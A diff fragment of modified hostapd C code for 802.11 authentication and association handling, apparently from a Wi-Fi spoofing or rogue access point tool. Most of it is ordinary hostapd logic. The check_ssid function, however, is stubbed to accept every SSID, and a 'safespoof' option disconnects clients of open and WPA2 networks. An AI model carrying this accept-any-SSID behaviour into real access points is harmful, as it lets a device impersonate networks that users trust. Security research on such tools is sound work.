ap_sta_session_timeout(hapd, sta, session_timeout); + else + ap_sta_no_session_timeout(hapd, sta); + + switch (auth_alg) { + case WLAN_AUTH_OPEN: + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "authentication OK (open system)"); +#ifdef IEEE80211_REQUIRE_AUTH_ACK + /* Station will be marked authenticated if it ACKs the + * authentication reply. */ +#else + sta->flags |= WLAN_STA_AUTH; + wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); + sta->auth_alg = WLAN_AUTH_OPEN; + mlme_authenticate_indication(hapd, sta); +#endif + break; + case WLAN_AUTH_SHARED_KEY: + resp = auth_shared_key(hapd, sta, auth_transaction, challenge, + fc & WLAN_FC_ISWEP); + sta->auth_alg = WLAN_AUTH_SHARED_KEY; + mlme_authenticate_indication(hapd, sta); + if (sta->challenge && auth_transaction == 1) { + resp_ies[0] = WLAN_EID_CHALLENGE; + resp_ies[1] = WLAN_AUTH_CHALLENGE_LEN; + os_memcpy(resp_ies + 2, sta->challenge, + WLAN_AUTH_CHALLENGE_LEN); + resp_ies_len = 2 + WLAN_AUTH_CHALLENGE_LEN; + } + break; +#ifdef CONFIG_IEEE80211R + case WLAN_AUTH_FT: + sta->auth_alg = WLAN_AUTH_FT; + if (sta->wpa_sm == NULL) + sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, + sta->addr, NULL); + if (sta->wpa_sm == NULL) { + wpa_printf(MSG_DEBUG, "FT: Failed to initialize WPA " + "state machine"); + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + goto fail; + } + wpa_ft_process_auth(sta->wpa_sm, mgmt->bssid, + auth_transaction, mgmt->u.auth.variable, + len - IEEE80211_HDRLEN - + sizeof(mgmt->u.auth), + handle_auth_ft_finish, hapd); + /* handle_auth_ft_finish() callback will complete auth. */ + return; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_SAE + case WLAN_AUTH_SAE: + handle_auth_sae(hapd, sta, mgmt, len, auth_transaction); + return; +#endif /* CONFIG_SAE */ + } + + fail: + os_free(identity); + os_free(radius_cui); + hostapd_free_psk_list(psk); + + send_auth_reply(hapd, mgmt->sa, mgmt->bssid, auth_alg, + auth_transaction + 1, resp, resp_ies, resp_ies_len); +} + + +static int hostapd_get_aid(struct hostapd_data *hapd, struct sta_info *sta) +{ + int i, j = 32, aid; + + /* get a unique AID */ + if (sta->aid > 0) { + wpa_printf(MSG_DEBUG, " old AID %d", sta->aid); + return 0; + } + + for (i = 0; i < AID_WORDS; i++) { + if (hapd->sta_aid[i] == (u32) -1) + continue; + for (j = 0; j < 32; j++) { + if (!(hapd->sta_aid[i] & BIT(j))) + break; + } + if (j < 32) + break; + } + if (j == 32) + return -1; + aid = i * 32 + j + 1; + if (aid > 2007) + return -1; + + sta->aid = aid; + hapd->sta_aid[i] |= BIT(j); + wpa_printf(MSG_DEBUG, " new AID %d", sta->aid); + return 0; +} + + +static u16 check_ssid(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *ssid_ie, size_t ssid_ie_len) +{ + if (ssid_ie == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + // Accept all SSIDs + return WLAN_STATUS_SUCCESS; +} + + +static u16 check_wmm(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *wmm_ie, size_t wmm_ie_len) +{ + sta->flags &= ~WLAN_STA_WMM; + sta->qosinfo = 0; + if (wmm_ie && hapd->conf->wmm_enabled) { + struct wmm_information_element *wmm; + + if (!hostapd_eid_wmm_valid(hapd, wmm_ie, wmm_ie_len)) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_DEBUG, + "invalid WMM element in association " + "request"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + sta->flags |= WLAN_STA_WMM; + wmm = (struct wmm_information_element *) wmm_ie; + sta->qosinfo = wmm->qos_info; + } + return WLAN_STATUS_SUCCESS; +} + + +static u16 copy_supp_rates(struct hostapd_data *hapd, struct sta_info *sta, + struct ieee802_11_elems *elems) +{ + if (!elems->supp_rates) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "No supported rates element in AssocReq"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + if (elems->supp_rates_len + elems->ext_supp_rates_len > + sizeof(sta->supported_rates)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "Invalid supported rates element length %d+%d", + elems->supp_rates_len, + elems->ext_supp_rates_len); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + sta->supported_rates_len = merge_byte_arrays( + sta->supported_rates, sizeof(sta->supported_rates), + elems->supp_rates, elems->supp_rates_len, + elems->ext_supp_rates, elems->ext_supp_rates_len); + + return WLAN_STATUS_SUCCESS; +} + + +static u16 check_ext_capab(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *ext_capab_ie, size_t ext_capab_ie_len) +{ +#ifdef CONFIG_INTERWORKING + /* check for QoS Map support */ + if (ext_capab_ie_len >= 5) { + if (ext_capab_ie[4] & 0x01) + sta->qos_map_enabled = 1; + } +#endif /* CONFIG_INTERWORKING */ + + return WLAN_STATUS_SUCCESS; +} + +// Checks association information elements (ies) +static u16 check_assoc_ies(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *ies, size_t ies_len, int reassoc) +{ + struct ieee802_11_elems elems; + u16 resp; + const u8 *wpa_ie; + size_t wpa_ie_len; + const u8 *p2p_dev_addr = NULL; + + if (ieee802_11_parse_elems(ies, ies_len, &elems, 1) == ParseFailed) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "Station sent an invalid " + "association request"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + resp = check_ssid(hapd, sta, elems.ssid, elems.ssid_len); + if (resp != WLAN_STATUS_SUCCESS) + return resp; + resp = check_wmm(hapd, sta, elems.wmm, elems.wmm_len); + if (resp != WLAN_STATUS_SUCCESS) + return resp; + resp = check_ext_capab(hapd, sta, elems.ext_capab, elems.ext_capab_len); + if (resp != WLAN_STATUS_SUCCESS) + return resp; + resp = copy_supp_rates(hapd, sta, &elems); + if (resp != WLAN_STATUS_SUCCESS) + return resp; +#ifdef CONFIG_IEEE80211N + resp = copy_sta_ht_capab(hapd, sta, elems.ht_capabilities, + elems.ht_capabilities_len); + if (resp != WLAN_STATUS_SUCCESS) + return resp; + if (hapd->iconf->ieee80211n && hapd->iconf->require_ht && + !(sta->flags & WLAN_STA_HT)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "Station does not support " + "mandatory HT PHY - reject association"); + return WLAN_STATUS_ASSOC_DENIED_NO_HT; + } +#endif /* CONFIG_IEEE80211N */ + +#ifdef CONFIG_IEEE80211AC + resp = copy_sta_vht_capab(hapd, sta, elems.vht_capabilities, + elems.vht_capabilities_len); + if (resp != WLAN_STATUS_SUCCESS) + return resp; + if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht && + !(sta->flags & WLAN_STA_VHT)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "Station does not support " + "mandatory VHT PHY - reject association"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } +#endif /* CONFIG_IEEE80211AC */ + +#ifdef CONFIG_P2P + if (elems.p2p) { + wpabuf_free(sta->p2p_ie); + sta->p2p_ie = ieee802_11_vendor_ie_concat(ies, ies_len, + P2P_IE_VENDOR_TYPE); + if (sta->p2p_ie) + p2p_dev_addr = p2p_get_go_dev_addr(sta->p2p_ie); + } else { + wpabuf_free(sta->p2p_ie); + sta->p2p_ie = NULL; + } +#endif /* CONFIG_P2P */ + + if ((hapd->conf->wpa & WPA_PROTO_RSN) && elems.rsn_ie) { + wpa_ie = elems.rsn_ie; + wpa_ie_len = elems.rsn_ie_len; + } else if ((hapd->conf->wpa & WPA_PROTO_WPA) && + elems.wpa_ie) { + wpa_ie = elems.wpa_ie; + wpa_ie_len = elems.wpa_ie_len; + } else { + wpa_ie = NULL; + wpa_ie_len = 0; + } + +#ifdef CONFIG_WPS + sta->flags &= ~(WLAN_STA_WPS | WLAN_STA_MAYBE_WPS | WLAN_STA_WPS2); + if (hapd->conf->wps_state && elems.wps_ie) { + wpa_printf(MSG_DEBUG, "STA included WPS IE in (Re)Association " + "Request - assume WPS is used"); + sta->flags |= WLAN_STA_WPS; + wpabuf_free(sta->wps_ie); + sta->wps_ie = ieee802_11_vendor_ie_concat(ies, ies_len, + WPS_IE_VENDOR_TYPE); + if (sta->wps_ie && wps_is_20(sta->wps_ie)) { + wpa_printf(MSG_DEBUG, "WPS: STA supports WPS 2.0"); + sta->flags |= WLAN_STA_WPS2; + } + wpa_ie = NULL; + wpa_ie_len = 0; + if (sta->wps_ie && wps_validate_assoc_req(sta->wps_ie) < 0) { + wpa_printf(MSG_DEBUG, "WPS: Invalid WPS IE in " + "(Re)Association Request - reject"); + return WLAN_STATUS_INVALID_IE; + } + } else if (hapd->conf->wps_state && wpa_ie == NULL) { + wpa_printf(MSG_DEBUG, "STA did not include WPA/RSN IE in " + "(Re)Association Request - possible WPS use"); + sta->flags |= WLAN_STA_MAYBE_WPS; + } else +#endif /* CONFIG_WPS */ + if (hapd->conf->wpa && wpa_ie == NULL) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, + "No WPA/RSN IE in association request"); + return WLAN_STATUS_INVALID_IE; + } + + if (hapd->conf->wpa && wpa_ie) { + int res; + wpa_ie -= 2; + wpa_ie_len += 2; + if (sta->wpa_sm == NULL) + sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, + sta->addr, + p2p_dev_addr); + if (sta->wpa_sm == NULL) { + wpa_printf(MSG_WARNING, "Failed to initialize WPA " + "state machine"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + res = wpa_validate_wpa_ie(hapd->wpa_auth, sta->wpa_sm, + wpa_ie, wpa_ie_len, + elems.mdie, elems.mdie_len); + if (res == WPA_INVALID_GROUP) + resp = WLAN_STATUS_GROUP_CIPHER_NOT_VALID; + else if (res == WPA_INVALID_PAIRWISE) + resp = WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID; + else if (res == WPA_INVALID_AKMP) + resp = WLAN_STATUS_AKMP_NOT_VALID; + else if (res == WPA_ALLOC_FAIL) + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; +#ifdef CONFIG_IEEE80211W + else if (res == WPA_MGMT_FRAME_PROTECTION_VIOLATION) + resp = WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION; + else if (res == WPA_INVALID_MGMT_GROUP_CIPHER) + resp = WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION; +#endif /* CONFIG_IEEE80211W */ + else if (res == WPA_INVALID_MDIE) + resp = WLAN_STATUS_INVALID_MDIE; + else if (res != WPA_IE_OK) + resp = WLAN_STATUS_INVALID_IE; + if (resp != WLAN_STATUS_SUCCESS) + return resp; +#ifdef CONFIG_IEEE80211W + if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && + sta->sa_query_count > 0) + ap_check_sa_query_timeout(hapd, sta); + if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && + (!reassoc || sta->auth_alg != WLAN_AUTH_FT)) { + /* + * STA has already been associated with MFP and SA + * Query timeout has not been reached. Reject the + * association attempt temporarily and start SA Query, + * if one is not pending. + */ + + if (sta->sa_query_count == 0) + ap_sta_start_sa_query(hapd, sta); + + return WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY; + } + + if (wpa_auth_uses_mfp(sta->wpa_sm)) + sta->flags |= WLAN_STA_MFP; + else + sta->flags &= ~WLAN_STA_MFP; +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_IEEE80211R + if (sta->auth_alg == WLAN_AUTH_FT) { + if (!reassoc) { + wpa_printf(MSG_DEBUG, "FT: " MACSTR " tried " + "to use association (not " + "re-association) with FT auth_alg", + MAC2STR(sta->addr)); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + resp = wpa_ft_validate_reassoc(sta->wpa_sm, ies, + ies_len); + if (resp != WLAN_STATUS_SUCCESS) + return resp; + } +#endif /* CONFIG_IEEE80211R */ + +#ifdef CONFIG_SAE + if (wpa_auth_uses_sae(sta->wpa_sm) && + sta->auth_alg != WLAN_AUTH_SAE) { + wpa_printf(MSG_DEBUG, "SAE: " MACSTR " tried to use " + "SAE AKM after non-SAE auth_alg %u", + MAC2STR(sta->addr), sta->auth_alg); + return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; + } +#endif /* CONFIG_SAE */ + +#ifdef CONFIG_IEEE80211N + if ((sta->flags & (WLAN_STA_HT | WLAN_STA_VHT)) && + wpa_auth_get_pairwise(sta->wpa_sm) == WPA_CIPHER_TKIP) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, + "Station tried to use TKIP with HT " + "association"); + return WLAN_STATUS_CIPHER_REJECTED_PER_POLICY; + } +#endif /* CONFIG_IEEE80211N */ + } else + wpa_auth_sta_no_wpa(sta->wpa_sm); + +#ifdef CONFIG_P2P + p2p_group_notif_assoc(hapd->p2p_group, sta->addr, ies, ies_len); +#endif /* CONFIG_P2P */ + +#ifdef CONFIG_HS20 + wpabuf_free(sta->hs20_ie); + if (elems.hs20 && elems.hs20_len > 4) { + sta->hs20_ie = wpabuf_alloc_copy(elems.hs20 + 4, + elems.hs20_len - 4); + } else + sta->hs20_ie = NULL; +#endif /* CONFIG_HS20 */ + + return WLAN_STATUS_SUCCESS; +} + + +static void send_deauth(struct hostapd_data *hapd, const u8 *addr, + u16 reason_code) +{ + int send_len; + struct ieee80211_mgmt reply; + + os_memset(&reply, 0, sizeof(reply)); + reply.frame_control = + IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_DEAUTH); + os_memcpy(reply.da, addr, ETH_ALEN); + os_memcpy(reply.sa, hapd->own_addr, ETH_ALEN); + os_memcpy(reply.bssid, hapd->own_addr, ETH_ALEN); + + send_len = IEEE80211_HDRLEN + sizeof(reply.u.deauth); + reply.u.deauth.reason_code = host_to_le16(reason_code); + + if (hostapd_drv_send_mlme(hapd, &reply, send_len, 0) < 0) + wpa_printf(MSG_INFO, "Failed to send deauth: %s", + strerror(errno)); +} + + +static void send_assoc_resp(struct hostapd_data *hapd, struct sta_info *sta, + u16 status_code, int reassoc, const u8 *ies, + size_t ies_len) +{ + int send_len; + u8 buf[sizeof(struct ieee80211_mgmt) + 1024]; + struct ieee80211_mgmt *reply; + u8 *p; + + os_memset(buf, 0, sizeof(buf)); + reply = (struct ieee80211_mgmt *) buf; + reply->frame_control = + IEEE80211_FC(WLAN_FC_TYPE_MGMT, + (reassoc ? WLAN_FC_STYPE_REASSOC_RESP : + WLAN_FC_STYPE_ASSOC_RESP)); + os_memcpy(reply->da, sta->addr, ETH_ALEN); + os_memcpy(reply->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(reply->bssid, hapd->own_addr, ETH_ALEN); + + send_len = IEEE80211_HDRLEN; + send_len += sizeof(reply->u.assoc_resp); + reply->u.assoc_resp.capab_info = + host_to_le16(hostapd_own_capab_info(hapd, sta, 0)); + reply->u.assoc_resp.status_code = host_to_le16(status_code); + reply->u.assoc_resp.aid = host_to_le16((sta ? sta->aid : 0) + | BIT(14) | BIT(15)); + /* Supported rates */ + p = hostapd_eid_supp_rates(hapd, reply->u.assoc_resp.variable); + /* Extended supported rates */ + p = hostapd_eid_ext_supp_rates(hapd, p); + +#ifdef CONFIG_IEEE80211R + if (status_code == WLAN_STATUS_SUCCESS) { + /* IEEE 802.11r: Mobility Domain Information, Fast BSS + * Transition Information, RSN, [RIC Response] */ + p = wpa_sm_write_assoc_resp_ies(sta->wpa_sm, p, + buf + sizeof(buf) - p, + sta->auth_alg, ies, ies_len); + } +#endif /* CONFIG_IEEE80211R */ + +#ifdef CONFIG_IEEE80211W + if (status_code == WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY) + p = hostapd_eid_assoc_comeback_time(hapd, sta, p); +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_IEEE80211N + p = hostapd_eid_ht_capabilities(hapd, p); + p = hostapd_eid_ht_operation(hapd, p); +#endif /* CONFIG_IEEE80211N */ + +#ifdef CONFIG_IEEE80211AC + p = hostapd_eid_vht_capabilities(hapd, p); + p = hostapd_eid_vht_operation(hapd, p); +#endif /* CONFIG_IEEE80211AC */ + + p = hostapd_eid_ext_capab(hapd, p); + p = hostapd_eid_bss_max_idle_period(hapd, p); + if (sta->qos_map_enabled) + p = hostapd_eid_qos_map_set(hapd, p); + + if (sta->flags & WLAN_STA_WMM) + p = hostapd_eid_wmm(hapd, p); + +#ifdef CONFIG_WPS + if ((sta->flags & WLAN_STA_WPS) || + ((sta->flags & WLAN_STA_MAYBE_WPS) && hapd->conf->wpa)) { + struct wpabuf *wps = wps_build_assoc_resp_ie(); + if (wps) { + os_memcpy(p, wpabuf_head(wps), wpabuf_len(wps)); + p += wpabuf_len(wps); + wpabuf_free(wps); + } + } +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_P2P + if (sta->p2p_ie) { + struct wpabuf *p2p_resp_ie; + enum p2p_status_code status; + switch (status_code) { + case WLAN_STATUS_SUCCESS: + status = P2P_SC_SUCCESS; + break; + case WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA: + status = P2P_SC_FAIL_LIMIT_REACHED; + break; + default: + status = P2P_SC_FAIL_INVALID_PARAMS; + break; + } + p2p_resp_ie = p2p_group_assoc_resp_ie(hapd->p2p_group, status); + if (p2p_resp_ie) { + os_memcpy(p, wpabuf_head(p2p_resp_ie), + wpabuf_len(p2p_resp_ie)); + p += wpabuf_len(p2p_resp_ie); + wpabuf_free(p2p_resp_ie); + } + } +#endif /* CONFIG_P2P */ + +#ifdef CONFIG_P2P_MANAGER + if (hapd->conf->p2p & P2P_MANAGE) + p = hostapd_eid_p2p_manage(hapd, p); +#endif /* CONFIG_P2P_MANAGER */ + + send_len += p - reply->u.assoc_resp.variable; + + if (hostapd_drv_send_mlme(hapd, reply, send_len, 0) < 0) + wpa_printf(MSG_INFO, "Failed to send assoc resp: %s", + strerror(errno)); +} + +// Handles assoc reqs +static void handle_assoc(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len, + int reassoc) +{ + u16 capab_info, listen_interval; + u16 resp = WLAN_STATUS_SUCCESS; + const u8 *pos; + int left, i; + struct sta_info *sta; + + if (len < IEEE80211_HDRLEN + (reassoc ? sizeof(mgmt->u.reassoc_req) : + sizeof(mgmt->u.assoc_req))) { + wpa_printf(MSG_INFO, "handle_assoc(reassoc=%d) - too short payload (len=%lu)", + reassoc, (unsigned long) len); + return; + } + +#ifdef CONFIG_TESTING_OPTIONS + if (reassoc) { + if (hapd->iconf->ignore_reassoc_probability > 0.0d && + drand48() < hapd->iconf->ignore_reassoc_probability) { + wpa_printf(MSG_INFO, + "TESTING: ignoring reassoc request from " + MACSTR, MAC2STR(mgmt->sa)); + return; + } + } else { + if (hapd->iconf->ignore_assoc_probability > 0.0d && + drand48() < hapd->iconf->ignore_assoc_probability) { + wpa_printf(MSG_INFO, + "TESTING: ignoring assoc request from " + MACSTR, MAC2STR(mgmt->sa)); + return; + } + } +#endif /* CONFIG_TESTING_OPTIONS */ + + if (reassoc) { + capab_info = le_to_host16(mgmt->u.reassoc_req.capab_info); + listen_interval = le_to_host16( + mgmt->u.reassoc_req.listen_interval); + wpa_printf(MSG_DEBUG, "reassociation request: STA=" MACSTR + " capab_info=0x%02x listen_interval=%d current_ap=" + MACSTR, + MAC2STR(mgmt->sa), capab_info, listen_interval, + MAC2STR(mgmt->u.reassoc_req.current_ap)); + left = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.reassoc_req)); + pos = mgmt->u.reassoc_req.variable; + } else { + capab_info = le_to_host16(mgmt->u.assoc_req.capab_info); + listen_interval = le_to_host16( + mgmt->u.assoc_req.listen_interval); + wpa_printf(MSG_DEBUG, "association request: STA=" MACSTR + " capab_info=0x%02x listen_interval=%d", + MAC2STR(mgmt->sa), capab_info, listen_interval); + left = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.assoc_req)); + pos = mgmt->u.assoc_req.variable; + } + + sta = ap_get_sta(hapd, mgmt->sa); +#ifdef CONFIG_IEEE80211R + if (sta && sta->auth_alg == WLAN_AUTH_FT && + (sta->flags & WLAN_STA_AUTH) == 0) { + wpa_printf(MSG_DEBUG, "FT: Allow STA " MACSTR " to associate " + "prior to authentication since it is using " + "over-the-DS FT", MAC2STR(mgmt->sa)); + } else +#endif /* CONFIG_IEEE80211R */ + if (sta == NULL || (sta->flags & WLAN_STA_AUTH) == 0) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "Station tried to " + "associate before authentication " + "(aid=%d flags=0x%x)", + sta ? sta->aid : -1, + sta ? sta->flags : 0); + send_deauth(hapd, mgmt->sa, + WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA); + return; + } + + if (hapd->tkip_countermeasures) { + resp = WLAN_REASON_MICHAEL_MIC_FAILURE; + goto fail; + } + + if (listen_interval > hapd->conf->max_listen_interval) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "Too large Listen Interval (%d)", + listen_interval); + resp = WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE; + goto fail; + } + + /* followed by SSID and Supported rates; and HT capabilities if 802.11n + * is used */ + resp = check_assoc_ies(hapd, sta, pos, left, reassoc); + if (resp != WLAN_STATUS_SUCCESS) + goto fail; + + if (hostapd_get_aid(hapd, sta) < 0) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "No room for more AIDs"); + resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; + goto fail; + } + + sta->capability = capab_info; + sta->listen_interval = listen_interval; + + if (hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) + sta->flags |= WLAN_STA_NONERP; + for (i = 0; i < sta->supported_rates_len; i++) { + if ((sta->supported_rates[i] & 0x7f) > 22) { + sta->flags &= ~WLAN_STA_NONERP; + break; + } + } + if (sta->flags & WLAN_STA_NONERP && !sta->nonerp_set) { + sta->nonerp_set = 1; + hapd->iface->num_sta_non_erp++; + if (hapd->iface->num_sta_non_erp == 1) + ieee802_11_set_beacons(hapd->iface); + } + + if (!(sta->capability & WLAN_CAPABILITY_SHORT_SLOT_TIME) && + !sta->no_short_slot_time_set) { + sta->no_short_slot_time_set = 1; + hapd->iface->num_sta_no_short_slot_time++; + if (hapd->iface->current_mode->mode == + HOSTAPD_MODE_IEEE80211G && + hapd->iface->num_sta_no_short_slot_time == 1) + ieee802_11_set_beacons(hapd->iface); + } + + if (sta->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + sta->flags |= WLAN_STA_SHORT_PREAMBLE; + else + sta->flags &= ~WLAN_STA_SHORT_PREAMBLE; + + if (!(sta->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) && + !sta->no_short_preamble_set) { + sta->no_short_preamble_set = 1; + hapd->iface->num_sta_no_short_preamble++; + if (hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G + && hapd->iface->num_sta_no_short_preamble == 1) + ieee802_11_set_beacons(hapd->iface); + } + +#ifdef CONFIG_IEEE80211N + update_ht_state(hapd, sta); +#endif /* CONFIG_IEEE80211N */ + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "association OK (aid %d)", sta->aid); + /* Station will be marked associated, after it acknowledges AssocResp + */ + sta->flags |= WLAN_STA_ASSOC_REQ_OK; + +#ifdef CONFIG_IEEE80211W + if ((sta->flags & WLAN_STA_MFP) && sta->sa_query_timed_out) { + wpa_printf(MSG_DEBUG, "Allowing %sassociation after timed out " + "SA Query procedure", reassoc ? "re" : ""); + /* TODO: Send a protected Disassociate frame to the STA using + * the old key and Reason Code "Previous Authentication no + * longer valid". Make sure this is only sent protected since + * unprotected frame would be received by the STA that is now + * trying to associate. + */ + } +#endif /* CONFIG_IEEE80211W */ + + if (reassoc) { + os_memcpy(sta->previous_ap, mgmt->u.reassoc_req.current_ap, + ETH_ALEN); + } + + if (sta->last_assoc_req) + os_free(sta->last_assoc_req); + sta->last_assoc_req = os_malloc(len); + if (sta->last_assoc_req) + os_memcpy(sta->last_assoc_req, mgmt, len); + + /* Make sure that the previously registered inactivity timer will not + * remove the STA immediately. */ + sta->timeout_next = STA_NULLFUNC; + + fail: + // Disconnect open and wpa2 networks immediately + if(hapd->conf->ieee802_1x == 0 && hapd->conf->safespoof == 1) { // TODO: make option to disconnect users that already tried to connect? + ap_sta_disconnect(hapd, sta, sta->addr, WLAN_REASON_DISASSOC_AP_BUSY); + hostapd_drv_sta_disassoc(hapd, sta->addr, WLAN_REASON_DISASSOC_AP_BUSY); + wpa_printf(MSG_INFO, "Inhibited association response, deauth and disassoc because safe spoofing is enabled."); + } else { + send_assoc_resp(hapd, sta, resp, reassoc, pos, left); + } +} + + +static void handle_disassoc(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len) +{ + struct sta_info *sta; + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.disassoc)) { + wpa_printf(MSG_INFO, "handle_disassoc - too short payload (len=%lu)", + (unsigned long) len); + return; + } + + wpa_printf(MSG_DEBUG, "disassocation: STA=" MACSTR " reason_code=%d", + MAC2STR(mgmt->sa), + le_to_host16(mgmt->u.disassoc.reason_code)); + + sta = ap_get_sta(hapd, mgmt->sa); + if (sta == NULL) { + wpa_printf(MSG_INFO, "Station " MACSTR " trying to disassociate, but it is not associated", + MAC2STR(mgmt->sa)); + return; + } + + ap_sta_set_authorized(hapd, sta, 0); + sta->flags &= ~(WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); + wpa_auth_sm_event(sta->wpa_sm, WPA_DISASSOC); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "disassociated"); + sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; + ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); + /* Stop Accounting and IEEE 802.1X sessions, but leave the STA + * authenticated. */ + accounting_sta_stop(hapd, sta); + ieee802_1x_free_station(sta); + hostapd_drv_sta_remove(hapd, sta->addr); + + if (sta->timeout_next == STA_NULLFUNC || + sta->timeout_next == STA_DISASSOC) { + sta->timeout_next = STA_DEAUTH; + eloop_cancel_timeout(ap_handle_timer, hapd, sta); + eloop_register_timeout(AP_DEAUTH_DELAY, 0, ap_handle_timer, + hapd, sta); + } + + mlme_disassociate_indication( + hapd, sta, le_to_host16(mgmt->u.disassoc.reason_code)); +} + + +static void handle_deauth(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len) +{ + struct sta_info *sta; + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.deauth)) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "handle_deauth - too short " + "payload (len=%lu)", (unsigned long) len); + return; + } + + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "deauthentication: STA=" MACSTR + " reason_code=%d", + MAC2STR(mgmt->sa), le_to_host16(mgmt->u.deauth.reason_code)); + + sta = ap_get_sta(hapd, mgmt->sa); + if (sta == NULL) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR " trying " + "to deauthenticate, but it is not authenticated", + MAC2STR(mgmt->sa)); + return; + } + + ap_sta_set_authorized(hapd, sta, 0); + sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC | + WLAN_STA_ASSOC_REQ_OK); + wpa_auth_sm_event(sta->wpa_sm, WPA_DEAUTH); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "deauthenticated"); + mlme_deauthenticate_indication( + hapd, sta, le_to_host16(mgmt->u.deauth.reason_code)); + sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; + ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); + ap_free_sta(hapd, sta); +} + + +static void handle_beacon(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len, + struct hostapd_frame_info *fi) +{ + struct ieee802_11_elems elems; + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.beacon)) { + wpa_printf(MSG_INFO, "handle_beacon - too short payload (len=%lu)", + (unsigned long) len); + return; + } + + (void) ieee802_11_parse_elems(mgmt->u.beacon.variable, + len - (IEEE80211_HDRLEN + + sizeof(mgmt->u.beacon)), &elems, + 0); + + ap_list_process_beacon(hapd->iface, mgmt, &elems, fi); +} + + +#ifdef CONFIG_IEEE80211W + +static void hostapd_sa_query_action(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, + size_t len) +{ + const u8 *end; + + end = mgmt->u.action.u.sa_query_resp.trans_id + + WLAN_SA_QUERY_TR_ID_LEN; + if (((u8 *) mgmt) + len < end) { + wpa_printf(MSG_DEBUG, "IEEE 802.11: Too short SA Query Action 